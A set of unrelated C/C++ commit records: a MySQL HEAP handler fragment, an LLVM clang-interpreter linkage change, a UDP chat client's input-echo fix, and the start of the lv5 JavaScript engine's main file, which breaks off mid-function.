info.implicit_emptied; } int ha_heap::extra(enum ha_extra_function operation) { return heap_extra(file,operation); } int ha_heap::reset(void) { return heap_extra(file,HA_EXTRA_RESET); } int ha_heap::delete_all_rows() { heap_clear(file); return 0; } int ha_heap::external_lock(THD *thd, int lock_type) { return 0; // No external locking } THR_LOCK_DATA **ha_heap::store_lock(THD *thd, THR_LOCK_DATA **to, enum thr_lock_type lock_type) { if (lock_type != TL_IGNORE && file->lock.type == TL_UNLOCK) file->lock.type=lock_type; *to++= &file->lock; return to; } /* We have to ignore ENOENT entries as the HEAP table is created on open and not when doing a CREATE on the table. */ int ha_heap::delete_table(const char *name) { char buff[FN_REFLEN]; int error= heap_delete_table(fn_format(buff,name,"","",4+2)); return error == ENOENT ? 0 : error; } int ha_heap::rename_table(const char * from, const char * to) { return heap_rename(from,to); } ha_rows ha_heap::records_in_range(int inx, const byte *start_key,uint start_key_len, enum ha_rkey_function start_search_flag, const byte *end_key,uint end_key_len, enum ha_rkey_function end_search_flag) { KEY *pos=table->key_info+inx; if (start_key_len != end_key_len || start_key_len != pos->key_length || start_search_flag != HA_READ_KEY_EXACT || end_search_flag != HA_READ_AFTER_KEY) return HA_POS_ERROR; // Can't only use exact keys return 10; // Good guess } int ha_heap::create(const char *name, TABLE *form, HA_CREATE_INFO *create_info) { char buff[FN_REFLEN]; return heap_create(fn_format(buff,name,"","",4+2)); } <|endoftext|>
<commit_before>//===-- examples/clang-interpreter/main.cpp - Clang C Interpreter Example -===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// #include "clang/CodeGen/CodeGenAction.h" #include "clang/Driver/Compilation.h" #include "clang/Driver/Driver.h" #include "clang/Driver/Tool.h" #include "clang/Frontend/CompilerInvocation.h" #include "clang/Frontend/CompilerInstance.h" #include "clang/Frontend/DiagnosticOptions.h" #include "clang/Frontend/FrontendDiagnostic.h" #include "clang/Frontend/TextDiagnosticPrinter.h" #include "llvm/LLVMContext.h" #include "llvm/Module.h" #include "llvm/Config/config.h" #include "llvm/ADT/OwningPtr.h" #include "llvm/ADT/SmallString.h" #include "llvm/Config/config.h" #include "llvm/ExecutionEngine/ExecutionEngine.h" #include "llvm/Support/ManagedStatic.h" #include "llvm/Support/raw_ostream.h" #include "llvm/System/Host.h" #include "llvm/System/Path.h" #include "llvm/Target/TargetSelect.h" using namespace clang; using namespace clang::driver; llvm::sys::Path GetExecutablePath(const char *Argv0) { // This just needs to be some symbol in the binary; C++ doesn't // allow taking the address of ::main however. void *MainAddr = (void*) (intptr_t) GetExecutablePath; return llvm::sys::Path::GetMainExecutable(Argv0, MainAddr); } int Execute(llvm::Module *Mod, char * const *envp) { llvm::InitializeNativeTarget(); std::string Error; llvm::OwningPtr<llvm::ExecutionEngine> EE( llvm::ExecutionEngine::createJIT(Mod, &Error)); if (!EE) { llvm::errs() << "unable to make execution engine: " << Error << "\n"; return 255; } llvm::Function *EntryFn = Mod->getFunction("main"); if (!EntryFn) { llvm::errs() << "'main' function not found in module.\n"; return 255; } // FIXME: Support passing arguments. std::vector<std::string> Args; Args.push_back(Mod->getModuleIdentifier()); return EE->runFunctionAsMain(EntryFn, Args, envp); } int main(int argc, const char **argv, char * const *envp) { void *MainAddr = (void*) (intptr_t) GetExecutablePath; llvm::sys::Path Path = GetExecutablePath(argv[0]); TextDiagnosticPrinter *DiagClient = new TextDiagnosticPrinter(llvm::errs(), DiagnosticOptions()); Diagnostic Diags(DiagClient); Driver TheDriver(Path.str(), llvm::sys::getHostTriple(), "a.out", /*IsProduction=*/false, /*CXXIsProduction=*/false, Diags); TheDriver.setTitle("clang interpreter"); // FIXME: This is a hack to try to force the driver to do something we can // recognize. We need to extend the driver library to support this use model // (basically, exactly one input, and the operation mode is hard wired). llvm::SmallVector<const char *, 16> Args(argv, argv + argc); Args.push_back("-fsyntax-only"); llvm::OwningPtr<Compilation> C(TheDriver.BuildCompilation(Args.size(), Args.data())); if (!C) return 0; // FIXME: This is copied from ASTUnit.cpp; simplify and eliminate. // We expect to get back exactly one command job, if we didn't something // failed. Extract that job from the compilation. const driver::JobList &Jobs = C->getJobs(); if (Jobs.size() != 1 || !isa<driver::Command>(Jobs.begin())) { llvm::SmallString<256> Msg; llvm::raw_svector_ostream OS(Msg); C->PrintJob(OS, C->getJobs(), "; ", true); Diags.Report(diag::err_fe_expected_compiler_job) << OS.str(); return 1; } const driver::Command *Cmd = cast<driver::Command>(*Jobs.begin()); if (llvm::StringRef(Cmd->getCreator().getName()) != "clang") { Diags.Report(diag::err_fe_expected_clang_command); return 1; } // Initialize a compiler invocation object from the clang (-cc1) arguments. const driver::ArgStringList &CCArgs = Cmd->getArguments(); llvm::OwningPtr<CompilerInvocation> CI(new CompilerInvocation); CompilerInvocation::CreateFromArgs(*CI, const_cast<const char **>(CCArgs.data()), const_cast<const char **>(CCArgs.data()) + CCArgs.size(), Diags); // Show the invocation, with -v. if (CI->getHeaderSearchOpts().Verbose) { llvm::errs() << "clang invocation:\n"; C->PrintJob(llvm::errs(), C->getJobs(), "\n", true); llvm::errs() << "\n"; } // FIXME: This is copied from cc1_main.cpp; simplify and eliminate. // Create a compiler instance to handle the actual work. CompilerInstance Clang; Clang.setLLVMContext(new llvm::LLVMContext); Clang.setInvocation(CI.take()); // Create the compilers actual diagnostics engine. Clang.createDiagnostics(int(CCArgs.size()),const_cast<char**>(CCArgs.data())); if (!Clang.hasDiagnostics()) return 1; // Infer the builtin include path if unspecified. if (Clang.getHeaderSearchOpts().UseBuiltinIncludes && Clang.getHeaderSearchOpts().ResourceDir.empty()) Clang.getHeaderSearchOpts().ResourceDir = CompilerInvocation::GetResourcesPath(argv[0], MainAddr); // Create and execute the frontend to generate an LLVM bitcode module. llvm::OwningPtr<CodeGenAction> Act(new EmitLLVMOnlyAction()); if (!Clang.ExecuteAction(*Act)) return 1; int Res = 255; if (llvm::Module *Module = Act->takeModule()) Res = Execute(Module, envp); // Shutdown. llvm::llvm_shutdown(); return Res; } <commit_msg>These functions don't need external linkage.<commit_after>//===-- examples/clang-interpreter/main.cpp - Clang C Interpreter Example -===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// #include "clang/CodeGen/CodeGenAction.h" #include "clang/Driver/Compilation.h" #include "clang/Driver/Driver.h" #include "clang/Driver/Tool.h" #include "clang/Frontend/CompilerInvocation.h" #include "clang/Frontend/CompilerInstance.h" #include "clang/Frontend/DiagnosticOptions.h" #include "clang/Frontend/FrontendDiagnostic.h" #include "clang/Frontend/TextDiagnosticPrinter.h" #include "llvm/LLVMContext.h" #include "llvm/Module.h" #include "llvm/Config/config.h" #include "llvm/ADT/OwningPtr.h" #include "llvm/ADT/SmallString.h" #include "llvm/Config/config.h" #include "llvm/ExecutionEngine/ExecutionEngine.h" #include "llvm/Support/ManagedStatic.h" #include "llvm/Support/raw_ostream.h" #include "llvm/System/Host.h" #include "llvm/System/Path.h" #include "llvm/Target/TargetSelect.h" using namespace clang; using namespace clang::driver; static llvm::sys::Path GetExecutablePath(const char *Argv0) { // This just needs to be some symbol in the binary; C++ doesn't // allow taking the address of ::main however. void *MainAddr = (void*) (intptr_t) GetExecutablePath; return llvm::sys::Path::GetMainExecutable(Argv0, MainAddr); } static int Execute(llvm::Module *Mod, char * const *envp) { llvm::InitializeNativeTarget(); std::string Error; llvm::OwningPtr<llvm::ExecutionEngine> EE( llvm::ExecutionEngine::createJIT(Mod, &Error)); if (!EE) { llvm::errs() << "unable to make execution engine: " << Error << "\n"; return 255; } llvm::Function *EntryFn = Mod->getFunction("main"); if (!EntryFn) { llvm::errs() << "'main' function not found in module.\n"; return 255; } // FIXME: Support passing arguments. std::vector<std::string> Args; Args.push_back(Mod->getModuleIdentifier()); return EE->runFunctionAsMain(EntryFn, Args, envp); } int main(int argc, const char **argv, char * const *envp) { void *MainAddr = (void*) (intptr_t) GetExecutablePath; llvm::sys::Path Path = GetExecutablePath(argv[0]); TextDiagnosticPrinter *DiagClient = new TextDiagnosticPrinter(llvm::errs(), DiagnosticOptions()); Diagnostic Diags(DiagClient); Driver TheDriver(Path.str(), llvm::sys::getHostTriple(), "a.out", /*IsProduction=*/false, /*CXXIsProduction=*/false, Diags); TheDriver.setTitle("clang interpreter"); // FIXME: This is a hack to try to force the driver to do something we can // recognize. We need to extend the driver library to support this use model // (basically, exactly one input, and the operation mode is hard wired). llvm::SmallVector<const char *, 16> Args(argv, argv + argc); Args.push_back("-fsyntax-only"); llvm::OwningPtr<Compilation> C(TheDriver.BuildCompilation(Args.size(), Args.data())); if (!C) return 0; // FIXME: This is copied from ASTUnit.cpp; simplify and eliminate. // We expect to get back exactly one command job, if we didn't something // failed. Extract that job from the compilation. const driver::JobList &Jobs = C->getJobs(); if (Jobs.size() != 1 || !isa<driver::Command>(Jobs.begin())) { llvm::SmallString<256> Msg; llvm::raw_svector_ostream OS(Msg); C->PrintJob(OS, C->getJobs(), "; ", true); Diags.Report(diag::err_fe_expected_compiler_job) << OS.str(); return 1; } const driver::Command *Cmd = cast<driver::Command>(*Jobs.begin()); if (llvm::StringRef(Cmd->getCreator().getName()) != "clang") { Diags.Report(diag::err_fe_expected_clang_command); return 1; } // Initialize a compiler invocation object from the clang (-cc1) arguments. const driver::ArgStringList &CCArgs = Cmd->getArguments(); llvm::OwningPtr<CompilerInvocation> CI(new CompilerInvocation); CompilerInvocation::CreateFromArgs(*CI, const_cast<const char **>(CCArgs.data()), const_cast<const char **>(CCArgs.data()) + CCArgs.size(), Diags); // Show the invocation, with -v. if (CI->getHeaderSearchOpts().Verbose) { llvm::errs() << "clang invocation:\n"; C->PrintJob(llvm::errs(), C->getJobs(), "\n", true); llvm::errs() << "\n"; } // FIXME: This is copied from cc1_main.cpp; simplify and eliminate. // Create a compiler instance to handle the actual work. CompilerInstance Clang; Clang.setLLVMContext(new llvm::LLVMContext); Clang.setInvocation(CI.take()); // Create the compilers actual diagnostics engine. Clang.createDiagnostics(int(CCArgs.size()),const_cast<char**>(CCArgs.data())); if (!Clang.hasDiagnostics()) return 1; // Infer the builtin include path if unspecified. if (Clang.getHeaderSearchOpts().UseBuiltinIncludes && Clang.getHeaderSearchOpts().ResourceDir.empty()) Clang.getHeaderSearchOpts().ResourceDir = CompilerInvocation::GetResourcesPath(argv[0], MainAddr); // Create and execute the frontend to generate an LLVM bitcode module. llvm::OwningPtr<CodeGenAction> Act(new EmitLLVMOnlyAction()); if (!Clang.ExecuteAction(*Act)) return 1; int Res = 255; if (llvm::Module *Module = Act->takeModule()) Res = Execute(Module, envp); // Shutdown. llvm::llvm_shutdown(); return Res; } <|endoftext|>
<commit_before><commit_msg>coverity#1242717 Untrusted loop bound<commit_after><|endoftext|>
<commit_before>#include <netdb.h> #include <unistd.h> #include <sys/fcntl.h> #include "client.h" #include "duckchat.h" #include "raw.h" // Variables struct sockaddr_in client_addr; struct sockaddr_in server_addr; int client_socket; struct addrinfo *server_info; char *channel; // Prints an error message and exits the program. void Error(const char *msg) { std::cerr << msg << std::endl; exit(1); } // Connects to the server at a the given port. void Connect(char *domain, const char *port) { std::cout << "Connecting to " << domain << std::endl; struct addrinfo hints; struct addrinfo *server_info_tmp; int status; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_DGRAM; hints.ai_protocol = 0; if ((status = getaddrinfo(domain, port, &hints, &server_info_tmp)) != 0) { std::cerr << "client: unable to resolve address: " << gai_strerror(status) << std::endl; exit(1); } // getaddrinfo() returns a list of address structures into server_info_tmp. // Try each address until we successfully connect(). // If socket() (or connect()) fails, close the socket and try the next address. for (server_info = server_info_tmp; server_info != NULL; server_info = server_info->ai_next) { if ((client_socket = socket(server_info->ai_family, server_info->ai_socktype, server_info->ai_protocol)) < 0) { continue; } if (connect(client_socket, server_info->ai_addr, server_info->ai_addrlen) != -1) { fcntl(client_socket, F_SETFL, O_NONBLOCK); break; // Success } close(client_socket); } if (server_info == NULL) { Error("client: all sockets failed to connect"); } } // Sends a message to all users in on the active channel. int RequestSay(const char *message) { struct request_say say; memset(&say, 0, sizeof(say)); say.req_type = REQ_SAY; strncpy(say.req_text, message, SAY_MAX); strncpy(say.req_channel, channel, CHANNEL_MAX); if (sendto(client_socket, &say, sizeof(say), 0, server_info->ai_addr, server_info->ai_addrlen) < 0) { Error("client: failed to send message\n"); } return 0; } // Sends login requests to the server. int RequestLogin(char *username) { struct request_login login; memset(&login, 0, sizeof(login)); login.req_type = REQ_LOGIN; strncpy(login.req_username, username, USERNAME_MAX); size_t message_size = sizeof(struct request_login); if (sendto(client_socket, &login, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) { Error("client: failed to request login\n"); } return 0; } // Sends logout requests to the server. int RequestLogout() { struct request_logout logout; memset((char *) &logout, 0, sizeof(logout)); logout.req_type = REQ_LOGOUT; size_t message_size = sizeof(struct request_logout); if (sendto(client_socket, &logout, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) { Error("client: failed to request logout\n"); } return 0; } // Sends join requests to the server. int RequestJoin(char *channel) { struct request_join join; memset((char *) &join, 0, sizeof(join)); join.req_type = REQ_JOIN; strncpy(join.req_channel, channel, CHANNEL_MAX); size_t message_size = sizeof(struct request_join); if (sendto(client_socket, &join, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) { Error("client: failed to request join\n"); } return 0; } // Splits strings around spaces. std::vector<std::string> StringSplit(std::string input) { std::istringstream iss(input); std::vector<std::string> result{std::istream_iterator<std::string>{iss}, std::istream_iterator<std::string>{}}; return result; } // Splits strings around spaces. std::vector<std::string> SplitString(char *input, char delimiter) { std::vector<std::string> result; std::string word = ""; size_t input_size = strlen(input); for (size_t i = 0; i < input_size; i++) { if (input[i] != delimiter) { word += input[i]; } else { result.push_back(word); word = ""; } } result.push_back(word); return result; } void StripChar(char *input, char c) { size_t size = strlen(input); for (size_t i = 0; i < size; i++) { if (input[i] == c) { input[i] = '\0'; } } } // Processes the input string to decide what type of command it is. bool ProcessInput(std::string input) { std::vector<std::string> inputs = StringSplit(input); bool result = true; if (inputs[0] == "/exit") { RequestLogout(); cooked_mode(); result = false; } else if (inputs[0] == "/list") { } else if (inputs[0] == "/join") { } else if (inputs[0] == "/leave") { } else if (inputs[0] == "/who") { } else if (inputs[0] == "/switch") { } else { std::cout << "\n*Unknown command" << std::endl; } return result; } int main(int argc, char *argv[]) { char *domain; char *port_str; int port_num; char *username; char *input; char tmp_buffer[SAY_MAX]; memset(&tmp_buffer, 0, SAY_MAX); char stdin_buffer[SAY_MAX + 1]; char *stdin_buffer_position = stdin_buffer; // struct timeval timeout; fd_set read_set; // int file_desc = 0; int result; char receive_buffer[kBufferSize]; memset(&receive_buffer, 0, kBufferSize); // char stdin_buffer[kBufferSize]; // memset(&stdin_buffer, 0, kBufferSize); if (argc < 4) { Error("usage: client [server name] [port] [username]"); } domain = argv[1]; port_str = argv[2]; port_num = atoi(argv[2]); username = argv[3]; if (strlen(domain) > UNIX_PATH_MAX) { Error("client: server name must be less than 108 characters"); } if (port_num < 0 || port_num > 65535) { Error("client: port number must be between 0 and 65535"); } if (strlen(username) > USERNAME_MAX) { Error("client: username must be less than 32 characters"); } Connect(domain, port_str); RequestLogin(username); channel = (char *) "Common"; RequestJoin(channel); // TODO handle response from send if (raw_mode() != 0){ Error("client: error using raw mode"); } std::cout << ">" << std::flush; bool is_newline = false; while (1) { FD_ZERO(&read_set); FD_SET(client_socket, &read_set); FD_SET(STDIN_FILENO, &read_set); if ((result = select(client_socket + 1, &read_set, NULL, NULL, NULL)) < 0) { Error("client: problem using select"); } if (result > 0) { if (FD_ISSET(STDIN_FILENO, &read_set)) { char c = (char) getchar(); if (c == '\n') { *stdin_buffer_position++ = '\0'; stdin_buffer_position = stdin_buffer; printf("\n"); fflush(stdout); input = stdin_buffer; is_newline = true; if (input[0] == '/') { if (!ProcessInput(input)) { break; } } else { // Send chat messages RequestSay(input); } } else if (stdin_buffer_position != stdin_buffer + SAY_MAX) { is_newline = false; *stdin_buffer_position++ = c; printf("%c", c); // std::cout << c << std::endl; fflush(stdout); } } else if (FD_ISSET(client_socket, &read_set)) { // Socket has data int read_size = read(client_socket, receive_buffer, kBufferSize); if (read_size != 0) { // TODO capture user input, store, clean input, then print buffer, afterward replace input struct text message; memcpy(&message, receive_buffer, sizeof(struct text)); text_t text_type = message.txt_type; switch (text_type) { case TXT_SAY: struct text_say say; memcpy(&say, receive_buffer, sizeof(struct text_say)); std::cout << "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"; std::cout << "[" << say.txt_channel << "]" << "[" << say.txt_username << "]: " << say.txt_text << std::endl; if (is_newline) { std::cout << ">" << stdin_buffer << std::flush; } else { std::cout << ">" << std::flush; } break; default: break; } } memset(&receive_buffer, 0, SAY_MAX); } // end of if client_socket } // end of if result } // end of while return 0; }<commit_msg>print input then set it to ""<commit_after>#include <netdb.h> #include <unistd.h> #include <sys/fcntl.h> #include "client.h" #include "duckchat.h" #include "raw.h" // Variables struct sockaddr_in client_addr; struct sockaddr_in server_addr; int client_socket; struct addrinfo *server_info; char *channel; // Prints an error message and exits the program. void Error(const char *msg) { std::cerr << msg << std::endl; exit(1); } // Connects to the server at a the given port. void Connect(char *domain, const char *port) { std::cout << "Connecting to " << domain << std::endl; struct addrinfo hints; struct addrinfo *server_info_tmp; int status; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_DGRAM; hints.ai_protocol = 0; if ((status = getaddrinfo(domain, port, &hints, &server_info_tmp)) != 0) { std::cerr << "client: unable to resolve address: " << gai_strerror(status) << std::endl; exit(1); } // getaddrinfo() returns a list of address structures into server_info_tmp. // Try each address until we successfully connect(). // If socket() (or connect()) fails, close the socket and try the next address. for (server_info = server_info_tmp; server_info != NULL; server_info = server_info->ai_next) { if ((client_socket = socket(server_info->ai_family, server_info->ai_socktype, server_info->ai_protocol)) < 0) { continue; } if (connect(client_socket, server_info->ai_addr, server_info->ai_addrlen) != -1) { fcntl(client_socket, F_SETFL, O_NONBLOCK); break; // Success } close(client_socket); } if (server_info == NULL) { Error("client: all sockets failed to connect"); } } // Sends a message to all users in on the active channel. int RequestSay(const char *message) { struct request_say say; memset(&say, 0, sizeof(say)); say.req_type = REQ_SAY; strncpy(say.req_text, message, SAY_MAX); strncpy(say.req_channel, channel, CHANNEL_MAX); if (sendto(client_socket, &say, sizeof(say), 0, server_info->ai_addr, server_info->ai_addrlen) < 0) { Error("client: failed to send message\n"); } return 0; } // Sends login requests to the server. int RequestLogin(char *username) { struct request_login login; memset(&login, 0, sizeof(login)); login.req_type = REQ_LOGIN; strncpy(login.req_username, username, USERNAME_MAX); size_t message_size = sizeof(struct request_login); if (sendto(client_socket, &login, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) { Error("client: failed to request login\n"); } return 0; } // Sends logout requests to the server. int RequestLogout() { struct request_logout logout; memset((char *) &logout, 0, sizeof(logout)); logout.req_type = REQ_LOGOUT; size_t message_size = sizeof(struct request_logout); if (sendto(client_socket, &logout, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) { Error("client: failed to request logout\n"); } return 0; } // Sends join requests to the server. int RequestJoin(char *channel) { struct request_join join; memset((char *) &join, 0, sizeof(join)); join.req_type = REQ_JOIN; strncpy(join.req_channel, channel, CHANNEL_MAX); size_t message_size = sizeof(struct request_join); if (sendto(client_socket, &join, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) { Error("client: failed to request join\n"); } return 0; } // Splits strings around spaces. std::vector<std::string> StringSplit(std::string input) { std::istringstream iss(input); std::vector<std::string> result{std::istream_iterator<std::string>{iss}, std::istream_iterator<std::string>{}}; return result; } // Splits strings around spaces. std::vector<std::string> SplitString(char *input, char delimiter) { std::vector<std::string> result; std::string word = ""; size_t input_size = strlen(input); for (size_t i = 0; i < input_size; i++) { if (input[i] != delimiter) { word += input[i]; } else { result.push_back(word); word = ""; } } result.push_back(word); return result; } void StripChar(char *input, char c) { size_t size = strlen(input); for (size_t i = 0; i < size; i++) { if (input[i] == c) { input[i] = '\0'; } } } // Processes the input string to decide what type of command it is. bool ProcessInput(std::string input) { std::vector<std::string> inputs = StringSplit(input); bool result = true; if (inputs[0] == "/exit") { RequestLogout(); cooked_mode(); result = false; } else if (inputs[0] == "/list") { } else if (inputs[0] == "/join") { } else if (inputs[0] == "/leave") { } else if (inputs[0] == "/who") { } else if (inputs[0] == "/switch") { } else { std::cout << "\n*Unknown command" << std::endl; } return result; } int main(int argc, char *argv[]) { char *domain; char *port_str; int port_num; char *username; char *input = (char *) ""; char tmp_buffer[SAY_MAX]; memset(&tmp_buffer, 0, SAY_MAX); char stdin_buffer[SAY_MAX + 1]; char *stdin_buffer_position = stdin_buffer; // struct timeval timeout; fd_set read_set; // int file_desc = 0; int result; char receive_buffer[kBufferSize]; memset(&receive_buffer, 0, kBufferSize); // char stdin_buffer[kBufferSize]; // memset(&stdin_buffer, 0, kBufferSize); if (argc < 4) { Error("usage: client [server name] [port] [username]"); } domain = argv[1]; port_str = argv[2]; port_num = atoi(argv[2]); username = argv[3]; if (strlen(domain) > UNIX_PATH_MAX) { Error("client: server name must be less than 108 characters"); } if (port_num < 0 || port_num > 65535) { Error("client: port number must be between 0 and 65535"); } if (strlen(username) > USERNAME_MAX) { Error("client: username must be less than 32 characters"); } Connect(domain, port_str); RequestLogin(username); channel = (char *) "Common"; RequestJoin(channel); // TODO handle response from send if (raw_mode() != 0){ Error("client: error using raw mode"); } std::cout << ">" << std::flush; while (1) { FD_ZERO(&read_set); FD_SET(client_socket, &read_set); FD_SET(STDIN_FILENO, &read_set); if ((result = select(client_socket + 1, &read_set, NULL, NULL, NULL)) < 0) { Error("client: problem using select"); } if (result > 0) { if (FD_ISSET(STDIN_FILENO, &read_set)) { char c = (char) getchar(); if (c == '\n') { *stdin_buffer_position++ = '\0'; stdin_buffer_position = stdin_buffer; printf("\n"); fflush(stdout); input = stdin_buffer; if (input[0] == '/') { if (!ProcessInput(input)) { break; } } else { // Send chat messages RequestSay(input); } } else if (stdin_buffer_position != stdin_buffer + SAY_MAX) { *stdin_buffer_position++ = c; printf("%c", c); // cout does not work fflush(stdout); } } else if (FD_ISSET(client_socket, &read_set)) { // Socket has data int read_size = read(client_socket, receive_buffer, kBufferSize); if (read_size != 0) { // TODO capture user input, store, clean input, then print buffer, afterward replace input struct text message; memcpy(&message, receive_buffer, sizeof(struct text)); text_t text_type = message.txt_type; switch (text_type) { case TXT_SAY: struct text_say say; memcpy(&say, receive_buffer, sizeof(struct text_say)); std::cout << "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"; std::cout << "[" << say.txt_channel << "]" << "[" << say.txt_username << "]: " << say.txt_text << std::endl; std::cout << ">" << input << std::flush; input = (char *) ""; break; default: break; } } memset(&receive_buffer, 0, SAY_MAX); } // end of if client_socket } // end of if result } // end of while return 0; }<|endoftext|>
<commit_before>#include <cstdio> #include <cstdlib> #include <locale> #include <string> #include <vector> #include <iv/stringpiece.h> #include <iv/ustringpiece.h> #include <iv/about.h> #include <iv/cmdline.h> #include <iv/lv5/lv5.h> #include <iv/lv5/railgun/command.h> #include <iv/lv5/railgun/interactive.h> #include <iv/lv5/teleporter/interactive.h> #include <iv/lv5/melt/melt.h> #if defined(IV_OS_MACOSX) || defined(IV_OS_LINUX) || defined(IV_OS_BSD) #include <signal.h> #endif namespace { void InitContext(iv::lv5::Context* ctx) { iv::lv5::Error::Dummy dummy; ctx->DefineFunction<&iv::lv5::Print, 1>("print"); ctx->DefineFunction<&iv::lv5::Log, 1>("log"); // this is simply output log function ctx->DefineFunction<&iv::lv5::Quit, 1>("quit"); ctx->DefineFunction<&iv::lv5::CollectGarbage, 0>("gc"); ctx->DefineFunction<&iv::lv5::HiResTime, 0>("HiResTime"); ctx->DefineFunction<&iv::lv5::railgun::Dis, 1>("dis"); ctx->DefineFunction<&iv::lv5::breaker::Run, 0>("run"); iv::lv5::melt::Console::Export(ctx, &dummy); } #if defined(IV_ENABLE_JIT) int BreakerExecute(const iv::core::StringPiece& data, const std::string& filename, bool statistics) { iv::lv5::Error::Standard e; iv::lv5::breaker::Context ctx; InitContext(&ctx); std::shared_ptr<iv::core::FileSource> src(new iv::core::FileSource(data, filename)); iv::lv5::breaker::ExecuteInGlobal(&ctx, src, &e); if (e) { e.Dump(&ctx, stderr); return EXIT_FAILURE; } ctx.Validate(); return EXIT_SUCCESS; } int BreakerExecuteFiles(const std::vector<std::string>& filenames) { iv::lv5::Error::Standard e; iv::lv5::breaker::Context ctx; InitContext(&ctx); std::vector<char> res; for (std::vector<std::string>::const_iterator it = filenames.begin(), last = filenames.end(); it != last; ++it) { if (!iv::core::ReadFile(*it, &res)) { return EXIT_FAILURE; } std::shared_ptr<iv::core::FileSource> src(new iv::core::FileSource( iv::core::StringPiece(res.data(), res.size()), *it)); res.clear(); iv::lv5::breaker::ExecuteInGlobal(&ctx, src, &e); if (e) { e.Dump(&ctx, stderr); return EXIT_FAILURE; } } ctx.Validate(); return EXIT_SUCCESS; } #endif int RailgunExecute(const iv::core::StringPiece& data, const std::string& filename, bool statistics) { iv::lv5::Error::Standard e; iv::lv5::railgun::Context ctx; InitContext(&ctx); std::shared_ptr<iv::core::FileSource> src(new iv::core::FileSource(data, filename)); iv::lv5::railgun::ExecuteInGlobal(&ctx, src, &e); if (e) { e.Dump(&ctx, stderr); return EXIT_FAILURE; } if (statistics) { ctx.vm()->DumpStatistics(); } ctx.Validate(); return EXIT_SUCCESS; } int RailgunExecuteFiles(const std::vector<std::string>& filenames) { iv::lv5::Error::Standard e; iv::lv5::railgun::Context ctx; InitContext(&ctx); std::vector<char> res; for (std::vector<std::string>::const_iterator it = filenames.begin(), last = filenames.end(); it != last; ++it) { if (!iv::core::ReadFile(*it, &res)) { return EXIT_FAILURE; } std::shared_ptr<iv::core::FileSource> src(new iv::core::FileSource( iv::core::StringPiece(res.data(), res.size()), *it)); res.clear(); iv::lv5::railgun::ExecuteInGlobal(&ctx, src, &e); if (e) { e.Dump(&ctx, stderr); return EXIT_FAILURE; } } ctx.Validate(); return EXIT_SUCCESS; } int DisAssemble(const iv::core::StringPiece& data, const std::string& filename) { iv::lv5::railgun::Context ctx; iv::lv5::Error::Standard e; std::shared_ptr<iv::core::FileSource> src(new iv::core::FileSource(data, filename)); iv::lv5::railgun::Code* code = iv::lv5::railgun::CompileInGlobal(&ctx, src, true, &e); if (e) { return EXIT_FAILURE; } iv::lv5::railgun::OutputDisAssembler dis(&ctx, stdout); dis.DisAssembleGlobal(*code); return EXIT_SUCCESS; } int Interpret(const iv::core::StringPiece& data, const std::string& filename) { iv::core::FileSource src(data, filename); iv::lv5::teleporter::Context ctx; iv::lv5::AstFactory factory(&ctx); iv::core::Parser<iv::lv5::AstFactory, iv::core::FileSource> parser(&factory, src, ctx.symbol_table()); const iv::lv5::FunctionLiteral* const global = parser.ParseProgram(); if (!global) { std::fprintf(stderr, "%s\n", parser.error().c_str()); return EXIT_FAILURE; } ctx.DefineFunction<&iv::lv5::Print, 1>("print"); ctx.DefineFunction<&iv::lv5::Quit, 1>("quit"); ctx.DefineFunction<&iv::lv5::HiResTime, 0>("HiResTime"); iv::lv5::teleporter::JSScript* const script = iv::lv5::teleporter::JSGlobalScript::New(&ctx, global, &factory, &src); if (ctx.Run(script)) { ctx.error()->Dump(&ctx, stderr); return EXIT_FAILURE; } return EXIT_SUCCESS; } int Ast(const iv::core::StringPiece& data, const std::string& filename) { iv::core::FileSource src(data, filename); iv::lv5::railgun::Context ctx; iv::lv5::AstFactory factory(&ctx); iv::core::Parser<iv::lv5::AstFactory, iv::core::FileSource> parser(&factory, src, ctx.symbol_table()); const iv::lv5::FunctionLiteral* const global = parser.ParseProgram(); if (!global) { std::fprintf(stderr, "%s\n", parser.error().c_str()); return EXIT_FAILURE; } iv::core::ast::AstSerializer<iv::lv5::AstFactory> ser; ser.Visit(global); const iv::core::UString str = ser.out(); iv::core::unicode::FPutsUTF16(stdout, str.begin(), str.end()); return EXIT_SUCCESS; } } // namespace anonymous int main(int argc, char **argv) { iv::lv5::FPU fpu; iv::lv5::program::Init(argc, argv); iv::lv5::Init(); iv::cmdline::Parser cmd("lv5"); cmd.Add("help", "help", 'h', "print this message"); cmd.Add("version", "version", 'v', "print the version"); cmd.AddList<std::string>( "file", "file", 'f', "script file to load"); cmd.Add("signal", "", 's', "install signal handlers"); cmd.Add<std::string>( "execute", "execute", 'e', "execute command", false); cmd.Add("ast", "ast", 0, "print ast"); cmd.Add("interp", "interp", 0, "use interpreter"); cmd.Add("railgun", "railgun", 0, "force railgun VM"); cmd.Add("dis", "dis", 'd', "print bytecode"); cmd.Add("statistics", "statistics", 0, "print statistics"); cmd.Add("copyright", "copyright", 0, "print the copyright"); cmd.set_footer("[program_file] [arguments]"); const bool cmd_parse_success = cmd.Parse(argc, argv); if (!cmd_parse_success) { std::fprintf(stderr, "%s\n%s", cmd.error().c_str(), cmd.usage().c_str()); return EXIT_FAILURE; } if (cmd.Exist("help")) { std::fputs(cmd.usage().c_str(), stdout); return EXIT_SUCCESS; } if (cmd.Exist("version")) { std::printf("lv5 %s (compiled %s %s)\n", IV_VERSION, __DATE__, __TIME__); return EXIT_SUCCESS; } if (cmd.Exist("copyright")) { std::printf("lv5 - %s\n", IV_COPYRIGHT); return EXIT_SUCCESS; } if (cmd.Exist("signal")) { #if defined(IV_OS_MACOSX) || defined(IV_OS_LINUX) || defined(IV_OS_BSD) 